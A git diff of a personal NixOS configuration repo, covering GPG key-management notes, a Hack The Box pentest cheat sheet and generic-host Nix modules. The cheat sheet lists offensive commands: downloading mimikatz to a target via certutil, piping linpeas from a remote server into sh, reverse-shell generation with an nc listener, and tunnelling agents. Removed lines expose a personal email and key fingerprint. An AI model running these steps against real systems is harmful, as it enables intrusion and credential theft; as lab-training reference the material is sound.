Where it goes: the vault (encrypted), never the dotfiles repo. The SECRET export + the .rev are the two files that matter.
@@ -101,8 +101,8 @@ The secret export is still encrypted with your passphrase; the passphrase is the
## import — keys, trust, restore
```sh
-gpg --import daemon-sec.pub.asc # someone's public key (or your own on a new machine)
-gpg --import daemon-sec.SECRET.asc # restore: asks for the passphrase
+gpg --import mykey.pub.asc # someone's public key (or your own on a new machine)
+gpg --import mykey.SECRET.asc # restore: asks for the passphrase
gpg --import-ownertrust < ownertrust.txt
gpg --edit-key FPR trust # set ownertrust: 5 = ultimate (yours), 4 = full, 3 = marginal
gpg --lsign-key FPR # "I checked this key": local signature, never exported
@@ -147,7 +147,7 @@ out-of-band once, then `gpg --lsign-key FPR` and the warning goes away.
```sh
gpg --encrypt --recipient mail@example.com --armor file # file.asc, readable only by that key
-gpg -e -r mail@example.com -r zer0sec.xp@icloud.com file # several recipients (add yourself to read it later!)
+gpg -e -r mail@example.com -r you@example.com file # several recipients (add yourself to read it later!)
gpg -e file # to yourself (default-recipient-self in gpg.conf)
gpg -se -r mail file # sign + encrypt: they know it is from you
gpg --symmetric --cipher-algo AES256 file # passphrase only, no keys (file.gpg); shares via a channel you trust
@@ -179,9 +179,9 @@ compare with `gpg -K`). On a laptop with subkeys only, that is fine as long as t
## edit — identities, passphrase, expiry
```sh
-gpg --quick-add-uid FPR 'DAEMON-SEC <zer0sec.xp@icloud.com>' # add a user ID (fix a name, add an address)
-gpg --quick-set-primary-uid FPR 'DAEMON-SEC <zer0sec.xp@icloud.com>'
-gpg --quick-revoke-uid FPR 'DAMEON-NIX <zer0sec.xp@icloud.com>' # retire a UID (keys cannot delete published UIDs; revoke them)
+gpg --quick-add-uid FPR 'Your Name <you@example.com>' # add a user ID (fix a name, add an address)
+gpg --quick-set-primary-uid FPR 'Your Name <you@example.com>'
+gpg --quick-revoke-uid FPR 'Old Name <you@example.com>' # retire a UID (keys cannot delete published UIDs; revoke them)
gpg --change-passphrase FPR # new passphrase for the secret key
gpg --quick-set-expire FPR 2y # primary expiry; `0` = never
gpg --quick-set-expire FPR 1y '*' # all subkeys
@@ -194,7 +194,7 @@ Every change to UIDs or subkeys needs the **primary** secret key present (`sec`,
## revoke — when a key is lost or compromised
```sh
-gpg --import daemon-sec.rev # the stored revocation certificate: marks YOUR key revoked locally
+gpg --import mykey.rev # the stored revocation certificate: marks YOUR key revoked locally
gpg --keyserver hkps://keys.openpgp.org --send-keys FPR # publish the revocation so others see it
gpg --edit-key FPR → key 2 → revkey → save # revoke ONE subkey (compromised laptop: revoke its subkeys, keep the primary)
gpg --quick-revoke-uid FPR 'uid string' # revoke an identity
@@ -220,7 +220,7 @@ Your file key `~/.ssh/id_ed25519` keeps working next to it; ssh tries agent keys
```sh
git config --global gpg.format openpgp
-git config --global user.signingkey 3374F5B7E65B8CDB7949E2EBBFB092454FAFECB4 # or a subkey fpr with `!` to force it
+git config --global user.signingkey FPR # or a subkey fpr with `!` to force it
git config --global commit.gpgsign true # every commit
git config --global tag.gpgSign true
git commit -S -m "msg" # one-off when gpgsign is off
@@ -267,7 +267,7 @@ gpg --export FPR | gpg --list-packets | grep -A2 'signature packet' # certific
The point of subkeys: the laptop carries only `[S] [E] [A]`; the primary (the identity) lives on encrypted offline storage.
```sh
-gpg --armor --export-secret-keys FPR > daemon-sec.SECRET.asc # 1. full backup first (vault, encrypted USB)
+gpg --armor --export-secret-keys FPR > mykey.SECRET.asc # 1. full backup first (vault, encrypted USB)
gpg --armor --export-secret-subkeys FPR > subkeys.asc # 2. the laptop's share
gpg --delete-secret-keys FPR # 3. remove everything secret here
gpg --import subkeys.asc # 4. put the subkeys back
@@ -276,7 +276,7 @@ gpg -K # shows `sec#
To add a subkey / extend expiry / sign someone's key later: import the SECRET backup in a temporary `GNUPGHOME`, do the change, export the public key and subkeys again, wipe the temp dir:
```sh
-export GNUPGHOME=$(mktemp -d); gpg --import daemon-sec.SECRET.asc; gpg --quick-set-expire FPR 2y '*'
+export GNUPGHOME=$(mktemp -d); gpg --import mykey.SECRET.asc; gpg --quick-set-expire FPR 2y '*'
gpg --armor --export FPR > pub.asc; gpg --armor --export-secret-subkeys FPR > subkeys.asc; rm -rf "$GNUPGHOME"; unset GNUPGHOME
gpg --import pub.asc subkeys.asc # back in the normal ring
```
@@ -306,16 +306,15 @@ echo test | gpg --clearsign >/dev/null # cheap way to pre-unlock the ke
- Git: `error: gpg failed to sign the data` → almost always the two above; `GIT_TRACE=1 git commit` shows gpg's own message.
- Key shows `[expired]` on the other side after you extended it → they need your re-exported public key (or `--refresh-keys`).
-## mine — this machine, today
+## mine — the key this repo signs with
-- **Main key** `3374F5B7E65B8CDB7949E2EBBFB092454FAFECB4`, UID `daemon (Main_Key) <zer0sec.xp@icloud.com>`,
- RSA 4096 made 2025-12-30, imported from the vault on 2026-10-08: primary `[SC]` + one `[E]` subkey, **no expiry**,
- ownertrust ultimate, `default-key` in gpg.conf, git signs with it (`commit.gpgsign`, `tag.gpgSign` on).
- No revocation certificate is stored here yet: `gpg --gen-revoke 3374F5B7E65B8CDB7949E2EBBFB092454FAFECB4 > daemon-main.rev`
- and put it in the vault. Optional upgrades, all without changing the identity: an expiry (`--quick-set-expire`),
- a `[S]` signing subkey and an `[A]` auth subkey (`--quick-add-key … rsa4096 sign|auth`), the primary offline (*offline*).
-- **Spare** `E989B40F2382569DD6080336BF684D91DF095E48` (`DAMEON-NIX`, ed25519, made 2026-10-08, never published):
- delete it with `gpg --delete-secret-and-public-keys E989B40F2382569DD6080336BF684D91DF095E48`, or keep it as a scratch key.
+- The laptop's identity (name, email, fingerprint) lives in one file,
+ `modules/hosts/laptop/_identity.nix`; git.nix and gpg.nix read it. On the
+ generic host there is no key configured: make one (*create*) and set it in
+ your own git config.
+- No revocation certificate stored yet? `gpg --gen-revoke FPR > mykey.rev`, and keep it offline.
+- Optional upgrades that keep the identity: an expiry (`--quick-set-expire`), a `[S]` signing subkey and an `[A]`
+ auth subkey (`--quick-add-key … rsa4096 sign|auth`), the primary offline (*offline*).
- Pinentry: GNOME dialog (modules/hosts/laptop/configuration.nix). `gpgx` uses loopback so the passphrase is typed in the terminal instead.
-- Secrets in the NixDaemon repo are **age**, not gpg (`nix-cheat secrets`); the vault's `ssd.key.gpg` is gpg-encrypted, decrypt it with `gpg -d`.
+- Secrets in the NixDaemon repo are **age**, not gpg (`nix-cheat secrets`).
- `gpgx-cheat` is the wrapper's card; `gpg-cheat SECTION` prints one section of this one.
diff --git a/modules/home/cheats/pentest.md b/modules/home/cheats/pentest.md
@@ -20,24 +20,40 @@ switched with `daemon.pentest.<category>.enable` in
...and write /etc/hosts (Kerberos needs names)
htbtarget show it htbtarget clear forget it
- htbbox new prompt for name / ip / difficulty / os
- htbbox new -n EscapeTwo -i 10.10.11.202 -d medium -o windows
- htbbox ls boxes, newest first, with ip/difficulty/os
- htbbox info [box] the manifest, and how full each dir is
- cd "$(htbbox path)" jump to the current box
+ htbbox new prompt for name / ip / os / difficulty (gum)
+ htbbox new EscapeTwo 10.10.11.202 win medium sequel.htb dc01.sequel.htb
+ positional, ANY order — each arg is placed
+ by its shape (ip, os, difficulty, hostname,
+ else name). Flags -n -i -o -d -H still work.
+ htbbox use sauna switch box: $BOX, $BOXDIR, $TARGET, /etc/hosts
+ htbbox ls boxes, newest first (* = current)
+ htbbox info [box] the box card: target, flags, creds, ports, notes
+ cd "$BOXDIR" jump to the current box (or: cd "$(htbbox path)")
+
+ Record as you go — it all lands in box.json, which every tool can read:
+
+ htbbox set ip 10.10.11.9 change a field (ip os difficulty status domain)
+ htbbox host dc01.sequel.htb add a hostname (re-points /etc/hosts)
+ htbbox cred sql_svc 'P@ss' mssql a credential (also appended to creds/creds.txt)
+ htbbox flag user <32-hex> record a flag; status follows (active→user→root)
+ htbbox note "WinRM open, fsmith in Remote Mgmt" a timestamped note
+ htbbox ports import open ports from the newest recon/*.xml
+ htbbox json [box] [key] raw box.json, or one key: htbbox json ip
~/htb/<box>/ holds:
- box.json the manifest every other tool reads (ip, os, difficulty, slug)
- writeup.md rendered from the vault's daemon-sec-htb-post template
- recon/ nmap, rustscan, masscan, dns
+ box.json the manifest: ip, os, difficulty, hostnames, domain, status,
+ flags, creds, ports, notes — the single source of truth
+ writeup.md rendered once from the vault's daemon-sec-htb-post template
+ recon/ nmap, rustscan, masscan, dns (nmap -oA recon/x feeds `htbbox ports`)
enum/ per-service output creds/ hashes, passwords, tickets
loot/ files off the target exploit/ PoCs and what you wrote
serve/ files staged FOR the target (not $PAYLOADS, which is global)
casts/ terminal recordings
- `htbbox new` also sets $TARGET, so the toolkit points at the box at once.
- Re-running it keeps an existing writeup.md -- it never clobbers your prose.
+ `htbbox new`/`use` also set $TARGET, so the toolkit points at the box at once.
+ Re-running `new` updates the fields you pass and keeps creds/flags/notes and
+ your writeup.md prose -- it never clobbers them.
## rec — record the session as write-up material
@@ -67,7 +83,7 @@ a zsh function always wins over a command on PATH. Your own `htb-newbox` does
the same scaffolding backed by sqlite (`htb-list`, `creds`, `findings`, `flags`,
`note`) — sqlite3 is now installed, so those work too.
-$TARGET, $RHOST, $IP and $BOX are exported in every terminal.
+$TARGET, $RHOST, $IP, $BOX and $BOXDIR are exported in every terminal.
Caveat: they refresh at each PROMPT. A shell already running a long command
keeps the old value until it returns. Open a new line, or re-run `htbtarget`.
@@ -85,6 +101,11 @@ $TARGET, $RHOST, $IP and $BOX are exported in every terminal.
## recon — what is there
+ htbscan -sC -sV top 1000 on $TARGET → $BOXDIR/recon/quick
+ htbscan full -p- sweep, then -sC -sV on what is open
+ htbscan ports 22,80,445 just these htbscan udp top 100 UDP
+ each pass is -oA and feeds `htbbox ports` itself
+
nmap -sC -sV -oA nmap/initial $TARGET
nmap -p- --min-rate 10000 -oA nmap/all $TARGET
sudo nmap -sU --top-ports 100 $TARGET # UDP; needs root PATH, hence systemPackages
@@ -96,6 +117,8 @@ $TARGET, $RHOST, $IP and $BOX are exported in every terminal.
smbclient -L //$TARGET -N
snmp-check $TARGET
ldapsearch -x -H ldap://$TARGET -s base namingcontexts
+ snmpwalk -v2c -c public $TARGET # after onesixtyone finds the community
+ sslscan $TARGET:443 testssl.sh https://$TARGET
## ad — active directory
@@ -125,7 +148,7 @@ BloodHound: two viewers, two formats, NOT interchangeable.
Feeding legacy JSON to CE (or the reverse) fails with an unhelpful parse
error. That is the usual way to lose an hour here. SharpHound CE lives in
- $PAYLOADS/windows/amd64/ad/SharpHound.exe.
+ $ad/SharpHound/SharpHound.exe.
bloodhound-legacy is an archived app on Electron 11 — nixpkgs dropped it for
that reason. Use it for your own lab data, nothing else.
@@ -153,7 +176,7 @@ ligolo-ng first: it gives a real interface, so every tool works unchanged.
sudo ip tuntap add user $USER mode tun ligolo && sudo ip link set ligolo up
ligolo-proxy -selfcert # on this machine
- # on the target, from $PAYLOADS:
+ # on the target, from $ligolo/<os>-<arch>/:
# ligolo-agent.exe -connect <you>:11601 -ignore-cert
# then in the proxy: session; start; and route the subnet:
sudo ip route add 172.16.1.0/24 dev ligolo
@@ -167,6 +190,15 @@ ligolo-ng first: it gives a real interface, so every tool works unchanged.
/etc/proxychains.conf is generated by Nix (programs.proxychains) — editing it
by hand does not work on NixOS, so change pivot.nix instead.
+## shells — catching one
+
+ revshell bash one-liner for $LHOST (else htbip) : 4444
+ revshell ps64 9001 base64 PowerShell, port 9001
+ revshell -c python ...and copy it revshell ls / all
+ revshell pick with gum
+ the payload is stdout; the listener to run
+ (rlwrap -cAr nc -lvnp …) is printed on stderr
+
## transfer — getting files across
payload-serve HTTP on your tunnel address, port 8000
@@ -177,25 +209,60 @@ by hand does not work on NixOS, so change pivot.nix instead.
It refuses to start when the VPN is down rather than binding every interface,
and refuses an unprivileged port under 1024 rather than dying halfway.
- echo $PAYLOADS
- $PAYLOADS/windows/amd64/creds/mimikatz.exe also mimikatz-2.2.0-*.exe
- $PAYLOADS/windows/amd64/privesc/potato/ Juicy, Rogue, God, PrintSpoofer…
- $PAYLOADS/windows/amd64/ad/Rubeus.exe 102 C# tools
- $PAYLOADS/linux/{amd64,arm64}/agents/ ligolo-agent, chisel
- $PAYLOADS/scripts/ad/PowerView.ps1 and nishang/
- $PAYLOADS/scripts/printer/ printerbug.py, CVE-2021-1675.py
-
# on the target (default port 8000)
- certutil -urlcache -f http://$(htbip):8000/windows/amd64/creds/mimikatz.exe m.exe
+ certutil -urlcache -f http://$(htbip):8000/creds/mimikatz/x64/mimikatz.exe m.exe
iwr -uri http://$(htbip):8000/x.exe -outfile x.exe
- wget http://$(htbip):8000/linux/amd64/privesc/linpeas.sh -O- | sh
+ wget http://$(htbip):8000/privesc/linux/linpeas.sh -O- | sh
The Linux binaries are statically linked and the scripts use /bin/sh, so they
run on a target that has none of this machine's libraries.
+## paths — the arsenal (~/pentesting) and how to find it
+
+Every binary is staged, pinned by hash, under `~/pentesting`, and a permanent
+lowercase variable points at each part of it. Type `$potatoes`, not a path.
+
+ htbpaths every variable, where it points, how full
+ htbpaths potatoes just the path: cd "$(htbpaths potatoes)"
+ htbpaths find godpotato locate a tool + the URL payload-serve gives it
+ htbpaths tree ad a two-level tree of one area
+ eval "$(htbpaths env)" set the vars in a shell started before login
+
+ $pentesting the root (= $PAYLOADS) $wordlists (= $WORDLISTS)
+ $privesc $winprivesc $potatoes $linprivesc
+ $creds $mimikatz $ad $sharpcollection $sharp
+ $pivoting $ligolo $chisel $recon $nmapbin $fscan
+ $shells $webshells $scripts $exploits
+ $mytools ~/pentesting/local — YOURS, writable, never touched by Nix
+
+ What is where (newest sets, every OS/arch unless noted):
+
+ $potatoes God/Sigma/Dead/Coerced/Juicy/JuicyNG/Rogue/Local/Print*/Petit,
+ PrintSpoofer, RemotePotato0 (SeImpersonate → SYSTEM)
+ $winprivesc winPEASx64/x86/any, FullPowers.exe, PrivescCheck.ps1
+ $linprivesc linpeas, lse, pspy (amd64+arm64)
+ $creds mimikatz/{x64,Win32}/ (both builds), nanodump*, PPLBlade
+ $ad SharpHound CE (SharpHound/), Rubeus, Seatbelt, Certify,
+ Certipy.exe, bloodyAD.exe, rusthound-ce.exe, SharpSCCM,
+ Inveigh, KrbRelayEx/, kerbrute/ (ropnop, all arches)
+ $sharp the whole SharpCollection 4.7 x64; $sharpcollection = all frameworks
+ $ligolo ligolo-ng/<os>-<arch>/ligolo-agent[.exe] ($chisel same shape)
+ $fscan fscan/<os>-<arch>/fscan[.exe]
+ $nmapbin nmap/linux-<arch>/nmap (static) + nmap/windows/ (portable)
+ $shells RunasCs.exe, nc.exe/nc64.exe
+ $pivoting also socat/ (static, per arch) and plink-x64/x86.exe
+ $scripts ad/ (PowerView, PowerUp, PowerSploit, nishang),
+ printer/ (printerbug.py, CVE-2021-1675.py), privesc/ (EfsPotato.cs)
+
+The whole tree rolls back with the system generation; `~/pentesting/local` is
+the one writable spot and is never overwritten. `pentest-update [--apply]`
+moves the pins (both _pkgs files) forward.
+
## crack — offline
- hashid hash.txt nth hash.txt
+ hcmode the common -m numbers (kerberoast, NTLMv2, …)
+ hcmode kerb hcmode 13100 search every mode the installed hashcat knows
+ hashid hash.txt nth hash.txt haiti '<hash>' (haiti prints the -m too)
hashcat -m 13100 spns.txt $WORDLISTS/rockyou.txt # kerberoast TGS
hashcat -m 18200 asrep.txt $WORDLISTS/rockyou.txt # AS-REP
hashcat -m 1000 ntlm.txt $WORDLISTS/rockyou.txt # NTLM
@@ -213,6 +280,8 @@ run on a target that has none of this machine's libraries.
sqlmap -u "http://$TARGET/?id=1" --batch --dbs
wpscan --url http://$TARGET --enumerate u
searchsploit apache 2.4
+ wafw00f http://$TARGET ghauri -u "http://$TARGET/?id=1" --dbs
+ interactsh-client OOB callback host for blind SSRF / XXE / RCE
burpsuite and zap are in the launcher (daemon.pentest.gui).
diff --git a/modules/home/git.nix b/modules/home/git.nix
@@ -1,26 +1,25 @@
# modules/home/git.nix — git, from the flake (was ~/.gitconfig written by the
# bootstrap script plus the dotfiles' .config/git, which is not linked).
#
-# Identity: DAEMON-404 <zer0sec.xp@icloud.com>; every commit and tag signed
-# with the GPG main key (modules/home/gpg.nix), which GitLab already knows.
+# Identity: name, email and signing key come from modules/hosts/laptop/_identity.nix;
+# every commit and tag is signed with the GPG main key (modules/home/gpg.nix).
# Credentials for https remotes come from gh / glab; clones use ssh anyway.
# delta paints diffs (Rosé Pine, from the dotfiles' git config).
{ ... }:
{
flake.homeModules.git =
- { ... }:
+ { identity, ... }:
{
programs.git = {
enable = true;
signing = {
- key = "3374F5B7E65B8CDB7949E2EBBFB092454FAFECB4";
+ key = identity.gpgFingerprint;
format = "openpgp";
signByDefault = true; # commit.gpgSign and tag.gpgSign
};
settings = {
user = {
- name = "DAEMON-404";
- email = "zer0sec.xp@icloud.com";
+ inherit (identity) name email;
};
alias = {
co = "checkout";
diff --git a/modules/home/gpg.nix b/modules/home/gpg.nix
@@ -7,13 +7,13 @@
#
# The agent itself is NixOS's (programs.gnupg.agent, pinentry-gnome3), so
# services.gpg-agent is deliberately not enabled here.
-# Key: daemon (Main_Key) <zer0sec.xp@icloud.com>, RSA 4096, 2025-12-30, the one on GitLab.
+# Key: RSA 4096, 2025-12-30, the one on GitLab; fingerprint in modules/hosts/laptop/_identity.nix.
{ ... }:
{
flake.homeModules.gpg =
- { config, pkgs, lib, ... }:
+ { config, pkgs, lib, identity, ... }:
let
- fpr = "3374F5B7E65B8CDB7949E2EBBFB092454FAFECB4";
+ fpr = identity.gpgFingerprint;
in
{
sops.secrets.gpg_main_secret = { };
diff --git a/modules/home/tools.nix b/modules/home/tools.nix
@@ -125,6 +125,8 @@
vesktop # Discord client; its config is linked from the dotfiles (dotfiles.nix)
];
+ programs.codex.enable = true;
+
# The browser has a module of its own: modules/home/floorp.nix.
}
;
diff --git a/modules/hosts/generic/_hardware-configuration.nix b/modules/hosts/generic/_hardware-configuration.nix
@@ -0,0 +1,39 @@
+# modules/hosts/generic/_hardware-configuration.nix — REPLACE THIS FILE with
+# your machine's own, generated by the installer:
+#
+# nixos-generate-config --root /mnt --show-hardware-configuration \
+# > modules/hosts/generic/_hardware-configuration.nix
+#
+# (on an already-installed NixOS: drop `--root /mnt`, or copy
+# /etc/nixos/hardware-configuration.nix here.)
+#
+# What is below is only a placeholder so the flake evaluates before you have
+# done that: it assumes the partitions are labelled `nixos` (root, ext4) and
+# `boot` (the EFI system partition; BIOS installs have none), which is what
+# docs/install.md creates. Follow that guide exactly and this file also works
+# unchanged — but a generated one is always the safer choice.
+{ lib, modulesPath, settings, ... }:
+{
+ imports = [ (modulesPath + "/installer/scan/not-detected.nix") ];
+
+ boot.initrd.availableKernelModules = [
+ # Bare metal: NVMe, SATA, USB. VMs: virtio, VMware, Hyper-V, VirtualBox.
+ "nvme" "ahci" "xhci_pci" "usbhid" "usb_storage" "sd_mod" "sr_mod"
+ "virtio_pci" "virtio_blk" "virtio_scsi" "vmw_pvscsi" "hv_storvsc"
+ ];
+
+ fileSystems."/" = {
+ device = "/dev/disk/by-label/nixos";
+ fsType = "ext4";
+ };
+
+ fileSystems."/boot" = lib.mkIf (settings.boot == "efi") {
+ device = "/dev/disk/by-label/boot";
+ fsType = "vfat";
+ options = [ "fmask=0077" "dmask=0077" ];
+ };
+
+ swapDevices = [ ];
+
+ networking.useDHCP = lib.mkDefault true;
+}
diff --git a/modules/hosts/generic/_settings.nix b/modules/hosts/generic/_settings.nix
@@ -0,0 +1,66 @@
+# modules/hosts/generic/_settings.nix — THE file to edit when you install
+# NixDaemon on your own machine. Everything machine-specific about the generic
+# host is here; nothing else in the repo needs to change.
+#
+# After editing:
+# sudo nixos-rebuild switch --flake .#nixdaemon (or: nh os switch -H nixdaemon)
+#
+# See docs/install.md for the full walk-through (bare metal, VMware,
+# VirtualBox, QEMU/KVM, UTM on Apple Silicon, Hyper-V, an existing NixOS).
+{
+ # Your login name. A home directory /home/<user> is created for it.
+ user = "operator";
+
+ # First-login password. CHANGE IT straight away with `passwd`, or set
+ # `initialPassword = null;` and use `sudo passwd <user>` from the installer.
+ initialPassword = "nixdaemon";
+
+ hostName = "nixdaemon";
+
+ # "x86_64-linux" for Intel/AMD, "aarch64-linux" for ARM (Apple Silicon VMs,
+ # Raspberry Pi 4/5 with UEFI firmware, Ampere, Snapdragon).
+ system = "x86_64-linux";
+
+ timeZone = "UTC"; # `timedatectl list-timezones`, e.g. "Europe/London"
+ locale = "en_US.UTF-8";
+ keyboard = "us"; # X/Wayland layout: "gb", "de", "fr", …
+
+ # How the machine boots. Look at the installer: if /sys/firmware/efi exists
+ # it booted UEFI — use "efi". Otherwise "bios" and name the disk GRUB goes
+ # on. VirtualBox defaults to BIOS unless "Enable EFI" is ticked.
+ boot = "efi"; # "efi" | "bios"
+ biosDevice = "/dev/sda"; # only read when boot = "bios"
+
+ # Guest tools for the hypervisor you run in (clipboard, resolution, time).
+ # "none" | "vmware" | "virtualbox" | "qemu" (KVM, virt-manager, Proxmox, UTM) | "hyperv"
+ vm = "none";
+
+ # "niri" Niri (scrolling Wayland compositor) + Noctalia shell, Rosé Pine.
+ # Needs working 3D: bare metal, QEMU virtio-gpu with GL, VMware with
+ # 3D acceleration on. Super+Return opens a terminal.
+ # "xfce" XFCE on X11. Works in every VM, including VirtualBox without 3D.
+ # "none" no desktop: console + SSH only.
+ desktop = "niri";
+
+ # Accept SSH logins (password auth stays off; put your public key below).
+ ssh = false;
+ sshKeys = [ ]; # [ "ssh-ed25519 AAAA… you@laptop" ]
+
+ # The offensive toolkit. The CPTS core (recon, AD, web, pivot, crack,
+ # shells, BloodHound, payloads, wordlists, GUI tools) is on by default;
+ # these extra categories are off. Flip any to true. (On aarch64 BloodHound
+ # is switched off automatically: its pinned neo4j is x86_64-only.)
+ pentest = {
+ dfir = false; # volatility, sleuthkit, yara, stego
+ reversing = false; # radare2, rizin, gdb+gef, pwntools, ROPgadget
+ wireless = false; # aircrack-ng, wifite, kismet (needs a monitor-mode card)
+ radio = false; # SDR, bluetooth, RFID (needs the hardware)
+ hardware = false; # flashrom, openocd, sigrok, can-utils
+ c2 = false; # havoc, villain
+ database = false; # mysql, mssql, redis, mongo clients
+ cloud = false; # aws, az, gcloud, kubectl, pacu
+ osint = false; # theharvester, recon-ng, sn0int
+ social = false; # gophish, setoolkit — authorised scope only
+ mobile = false; # apktool, jadx, frida, adb (x86_64 only)
+ };
+}
diff --git a/modules/hosts/generic/default.nix b/modules/hosts/generic/default.nix
@@ -0,0 +1,254 @@
+# modules/hosts/generic/default.nix — NixDaemon for any machine: a PC, a
+# laptop, or a VM, x86_64 or aarch64.
+#
+# sudo nixos-install --flake .#nixdaemon (from the installer)
+# sudo nixos-rebuild switch --flake .#nixdaemon (afterwards)
+# nh os switch -H nixdaemon (the same, with a diff)
+#
+# Everything you change lives in two files beside this one:
+# _settings.nix user, hostname, arch, boot mode, VM, desktop, toolkit
+# _hardware-configuration.nix your disks, from nixos-generate-config
+#
+# This host is deliberately separate from modules/hosts/laptop (the author's
+# machine). It shares the toolkit (modules/features/pentest), the Niri desktop
+# and the self-contained home modules, and none of the personal parts: no
+# sops secrets, no private dotfiles checkout, no GPG/SSH identity, no fan or
+# NVIDIA workarounds. It builds without anyone's keys.
+#
+# More than one machine? `self.lib.mkHost` takes a settings set, so a second
+# host is one line:
+# flake.nixosConfigurations.vm = self.lib.mkHost (import ./_settings.nix // { hostName = "vm"; vm = "qemu"; });
+# (it also needs its own hardware configuration — see mkHost's `hardware`.)
+{ self, inputs, ... }:
+{
+ flake.lib.mkHost =
+ settings:
+ inputs.nixpkgs.lib.nixosSystem {
+ specialArgs = {
+ inherit inputs settings;
+ inherit (settings) user;
+ };
+ modules = [
+ (settings.hardware or ./_hardware-configuration.nix)
+ self.nixosModules.generic
+ ];
+ };
+
+ flake.nixosConfigurations.nixdaemon = self.lib.mkHost (import ./_settings.nix);
+
+ flake.nixosModules.generic =
+ {
+ config,
+ pkgs,
+ lib,
+ user,
+ settings,
+ ...
+ }:
+ let
+ s = settings;
+ niri = s.desktop == "niri";
+ xfce = s.desktop == "xfce";
+ gui = s.desktop != "none";
+ in
+ {
+ imports = [
+ inputs.home-manager.nixosModules.home-manager
+ self.nixosModules.pentest
+ ]
+ # desktop-options asserts that Hyprland or Niri is on, so it is only
+ # pulled in when Niri is the desktop.
+ ++ lib.optionals niri [
+ self.nixosModules.desktop-options
+ self.nixosModules.desktop-niri
+ ];
+
+ config = lib.mkMerge [
+ {
+ assertions = [
+ {
+ assertion = builtins.elem s.desktop [
+ "niri"
+ "xfce"
+ "none"
+ ];
+ message = "_settings.nix: desktop must be \"niri\", \"xfce\" or \"none\" (got \"${s.desktop}\")";
+ }
+ {
+ assertion = builtins.elem s.vm [
+ "none"
+ "vmware"
+ "virtualbox"
+ "qemu"
+ "hyperv"
+ ];
+ message = "_settings.nix: vm must be none, vmware, virtualbox, qemu or hyperv (got \"${s.vm}\")";
+ }
+ {
+ assertion = builtins.elem s.boot [
+ "efi"
+ "bios"
+ ];
+ message = "_settings.nix: boot must be \"efi\" or \"bios\" (got \"${s.boot}\")";
+ }
+ {
+ # apktool pulls in aapt, which Google only ships for x86_64.
+ assertion = !(s.system == "aarch64-linux" && (s.pentest.mobile or false));
+ message = "_settings.nix: pentest.mobile is x86_64-only (aapt); turn it off on aarch64";
+ }
+ ];
+
+ nixpkgs.hostPlatform = lib.mkDefault s.system;
+ nixpkgs.config.allowUnfree = true; # burpsuite, and the NVIDIA/VMware bits some machines need
+
+ ##### Boot ###############################################################
+ boot.loader =
+ if s.boot == "efi" then
+ {
+ systemd-boot.enable = true;
+ systemd-boot.configurationLimit = 20;
+ efi.canTouchEfiVariables = true;
+ }
+ else
+ {
+ grub.enable = true;
+ grub.device = s.biosDevice;
+ grub.configurationLimit = 20;
+ };
+
+ ##### Machine ############################################################
+ networking.hostName = s.hostName;
+ networking.networkmanager.enable = true;
+ time.timeZone = s.timeZone;
+ i18n.defaultLocale = s.locale;
+ services.xserver.xkb.layout = s.keyboard;
+ console.useXkbConfig = true;
+
+ users.users.${user} = {
+ isNormalUser = true;
+ extraGroups = [
+ "networkmanager"
+ "wheel"
+ ];
+ shell = pkgs.zsh;
+ initialPassword = s.initialPassword;
+ openssh.authorizedKeys.keys = s.sshKeys;
+ };
+
+ programs.zsh.enable = true;
+ programs.nix-ld.enable = true; # prebuilt binaries (uv pythons, npm, Go releases)
+
+ services.openssh = lib.mkIf s.ssh {
+ enable = true;
+ settings.PasswordAuthentication = false;
+ settings.PermitRootLogin = "no";
+ };
+
+ ##### Nix ################################################################
+ nix.settings.experimental-features = [
+ "nix-command"
+ "flakes"
+ ];
+ programs.nh = {
+ enable = true;
+ flake = "/home/${user}/NixDaemon"; # where docs/install.md clones it
+ clean = {
+ enable = true;
+ dates = "weekly";
+ extraArgs = "--keep 5 --keep-since 14d";
+ };
+ };
+ environment.systemPackages = with pkgs; [
+ git
+ nvd
+ nix-output-monitor
+ pciutils
+ usbutils
+ ];
+
+ ##### Hypervisor guest tools #############################################
+ virtualisation.vmware.guest.enable = s.vm == "vmware";
+ virtualisation.virtualbox.guest.enable = s.vm == "virtualbox";
+ virtualisation.hypervGuest.enable = s.vm == "hyperv";
+ services.qemuGuest.enable = s.vm == "qemu";
+ services.spice-vdagentd.enable = s.vm == "qemu"; # clipboard + resize in virt-manager/UTM
+
+ ##### Desktop ############################################################
+
+ services.greetd = lib.mkIf niri {
+ enable = true;
+ useTextGreeter = true;
+ settings.default_session.command = lib.concatStringsSep " " [
+ "${pkgs.tuigreet}/bin/tuigreet"
+ "--time"
+ "--remember"
+ "--remember-session"
+ "--asterisks"
+ "--sessions ${config.services.displayManager.sessionData.desktops}/share/wayland-sessions"
+ ];
+ };
+
+ services.xserver.enable = xfce;
+ services.xserver.desktopManager.xfce.enable = xfce;
+ services.xserver.displayManager.lightdm.enable = xfce;
+
+ security.polkit.enable = lib.mkIf gui true;
+ services.udisks2.enable = lib.mkIf gui true;
+ services.gnome.gnome-keyring.enable = lib.mkIf gui true;
+ programs.dconf.enable = lib.mkIf gui true;
+ services.pulseaudio.enable = false;
+ security.rtkit.enable = lib.mkIf gui true;
+ services.pipewire = lib.mkIf gui {
+ enable = true;
+ alsa.enable = true;
+ pulse.enable = true;
+ };
+
+ environment.sessionVariables = lib.mkIf niri {
+ ELECTRON_OZONE_PLATFORM_HINT = "auto";
+ NIXOS_OZONE_WL = "1";
+ };
+
+ fonts.packages = with pkgs; [
+ nerd-fonts.jetbrains-mono # the terminal font (kitty, below)
+ noto-fonts
+ noto-fonts-color-emoji
+ ];
+
+ ##### Toolkit ############################################################
+ daemon.pentest = {
+ enable = true;
+ # BloodHound CE's pinned neo4j is published for x86_64 only.
+ bloodhound.enable = lib.mkDefault (s.system == "x86_64-linux");
+ }
+ // lib.mapAttrs (_: on: { enable = on; }) s.pentest;
+
+ ##### Home ###############################################################
+ home-manager = {
+ useGlobalPkgs = true;
+ useUserPackages = true;
+ backupFileExtension = "hm-bak";
+ extraSpecialArgs = { inherit inputs user; };
+ users.${user} = self.homeModules.generic;
+ };
+
+ system.stateVersion = "26.05";
+ }
+
+ # optionalAttrs, not mkIf: daemon.desktop is only declared when Niri
+ # imports desktop-options above, and mkIf still needs the option to exist.
+ (lib.optionalAttrs niri {
+ daemon.desktop = {
+ hyprland.enable = false; # Hyprland's home side needs the author's dotfiles
+ niri.enable = true;
+ # The neutral desktop (no author location/wallpaper/font), with
+ # this machine's keyboard layout.
+ niri.package = self.legacyPackages.${s.system}.mkNiri {
+ noctaliaPkg = self.packages.${s.system}.noctalia;
+ xkb.layout = s.keyboard;
+ };
+ };
+ })
+ ];
+ };
+}
